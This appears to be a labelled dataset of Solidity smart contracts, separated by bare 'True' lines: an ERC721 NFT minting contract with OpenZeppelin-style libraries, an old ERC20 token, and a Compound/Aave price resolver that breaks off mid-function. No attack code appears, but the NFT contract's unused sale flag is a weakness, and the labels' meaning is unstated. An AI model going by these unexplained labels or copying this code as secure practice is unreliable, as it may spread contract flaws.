transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721S.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // ERC721Enum.sol pragma solidity ^0.8.10; abstract contract ERC721Enum is ERC721S, IERC721Enumerable { function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721S) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) { require(index < ERC721S.balanceOf(owner), "ERC721Enum: owner ioob"); uint count; for( uint i; i < _owners.length; ++i ){ if( owner == _owners[i] ){ if( count == index ) return i; else ++count; } } require(false, "ERC721Enum: owner ioob"); } function tokensOfOwner(address owner) public view returns (uint256[] memory) { require(0 < ERC721S.balanceOf(owner), "ERC721Enum: owner ioob"); uint256 tokenCount = balanceOf(owner); uint256[] memory tokenIds = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(owner, i); } return tokenIds; } function totalSupply() public view virtual override returns (uint256) { return _owners.length; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enum.totalSupply(), "ERC721Enum: global ioob"); return index; } } // ReentrancyGuard.sol pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // PaymentSplitter.sol pragma solidity ^0.8.0; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // Pausable.sol pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // ZukiApeYachtClub.sol pragma solidity ^0.8.10; contract ZukiApeYachtClub is ERC721Enum, Ownable, Pausable, ReentrancyGuard { using Strings for uint256; string public baseURI; uint256 private maxSupply = 8888; uint256 public cost = 0.0088 ether; uint256 public maxFree = 1000; uint256 public nftPerAddressLimit = 10; bool public status = false; mapping(address => uint256) public addressMintedBalance; constructor() ERC721S("Zuki Ape Yacht Club", "ZukiApeYachtClub"){ setBaseURI(""); } function _baseURI() internal view virtual returns (string memory) { return baseURI; } function mintfree(uint256 _mintAmount) public payable nonReentrant{ uint256 a = totalSupply(); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= 2, "Cant mint more then maxmint" ); require(a + _mintAmount <= maxFree, "Cant go over supply" ); for (uint256 i = 0; i < _mintAmount; ++i) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, a + i, ""); } delete a; } function mint(uint256 _mintAmount) public payable nonReentrant{ uint256 a = totalSupply(); require(_mintAmount > 0, "Cant mint 0" ); require(_mintAmount <= 20, "Cant mint more then maxmint" ); require(a + _mintAmount <= maxSupply, "Cant go over supply" ); require(msg.value >= cost * _mintAmount); for (uint256 i = 0; i < _mintAmount; ++i) { _safeMint(msg.sender, a + i, ""); } delete a; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: Nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())) : ""; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setmaxFree(uint256 _newMaxFree) public onlyOwner { maxFree = _newMaxFree; } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner { maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setSaleStatus(bool _status) public onlyOwner { status = _status; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }

True

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pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-05-29 */ pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; interface CTokenInterface { function underlying() external view returns (address); } interface TokenInterface { function balanceOf(address) external view returns (uint); function decimals() external view returns (uint); } interface OrcaleComp { function getUnderlyingPrice(address) external view returns (uint); } interface ComptrollerLensInterface { function markets(address) external view returns (bool, uint, bool); } interface InstaMapping { function cTokenMapping(address) external view returns (address); } interface ChainLinkInterface { function latestAnswer() external view returns (int256); function decimals() external view returns (uint256); } interface AaveInterface { function getReserveConfigurationData(address _reserve) external view returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, address interestRateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive ); } interface AaveV2Interface { function getReserveConfigurationData(address asset) external view returns ( uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen ); } interface AaveProviderInterface { function getLendingPool() external view returns (address); function getLendingPoolCore() external view returns (address); function getPriceOracle() external view returns (address); } interface AavePriceInterface { function getAssetPrice(address _asset) external view returns (uint256); } interface AaveCoreInterface { function getReserveCurrentLiquidityRate(address _reserve) external view returns (uint256); function getReserveCurrentVariableBorrowRate(address _reserve) external view returns (uint256); function getReserveATokenAddress(address _reserve) external view returns (address); } interface VatLike { function ilks(bytes32) external view returns (uint, uint, uint, uint, uint); function dai(address) external view returns (uint); function urns(bytes32, address) external view returns (uint, uint); function gem(bytes32, address) external view returns (uint); } interface SpotLike { function ilks(bytes32) external view returns (PipLike, uint); } interface PipLike { function peek() external view returns (bytes32, bool); } interface InstaMcdAddress { function manager() external view returns (address); function vat() external view returns (address); function jug() external view returns (address); function spot() external view returns (address); function pot() external view returns (address); function getCdps() external view returns (address); } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "math-not-safe"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "math-not-safe"); } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } } contract Helper is DSMath { /** * @dev Return ethereum address */ function getEthAddress() internal pure returns (address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address } /** * @dev Return WTH address */ function getWethAddress() internal pure returns (address) { return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH Address mainnet } /** * @dev Return eth price feed address */ function getEthPriceFeed() internal pure returns (address) { return 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // mainnet } } contract CompoundHelpers is Helper { /** * @dev get Compound Comptroller */ function getComptroller() public pure returns (ComptrollerLensInterface) { return ComptrollerLensInterface(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); // mainnet } /** * @dev get Compound Open Feed Oracle Address */ function getOracleAddress() public pure returns (address) { return 0x922018674c12a7F0D394ebEEf9B58F186CdE13c1; } /** * @dev get ETH Address */ function getCETHAddress() public pure returns (address) { return 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; } /** * @dev Return InstaDApp Mapping Addresses */ function getMappingAddr() internal pure returns (address) { return 0xe81F70Cc7C0D46e12d70efc60607F16bbD617E88; // InstaMapping Address } struct CompData { uint tokenPriceInEth; uint tokenPriceInUsd; } } contract CompoundResolver is CompoundHelpers { function getCompPrice(CTokenInterface cToken) public view returns (uint tokenPrice, uint ethPrice) { uint decimals = getCETHAddress() == address(cToken) ? 18 : TokenInterface(cToken.underlying()).decimals(); uint price = OrcaleComp(getOracleAddress()).getUnderlyingPrice(address(cToken)); ethPrice = OrcaleComp(getOracleAddress()).getUnderlyingPrice(getCETHAddress()); tokenPrice = price / 10 ** (18 - decimals); } function getCompoundData(address token, uint ethAmount) public view returns (uint) { address cTokenAddr = InstaMapping(getMappingAddr()).cTokenMapping(token); if (cTokenAddr == address(0)) return 0; ComptrollerLensInterface comptroller = getComptroller(); (, uint cf, ) = comptroller.markets(getCETHAddress()); CTokenInterface cToken = CTokenInterface(cTokenAddr); (uint tokenPrice, uint ethPrice) = getCompPrice(cToken); uint ethColl = wmul(ethAmount, ethPrice); ethColl = wmul(ethColl, sub(cf, 10**16)); uint debtCanBorrow = wdiv(ethColl, tokenPrice); return 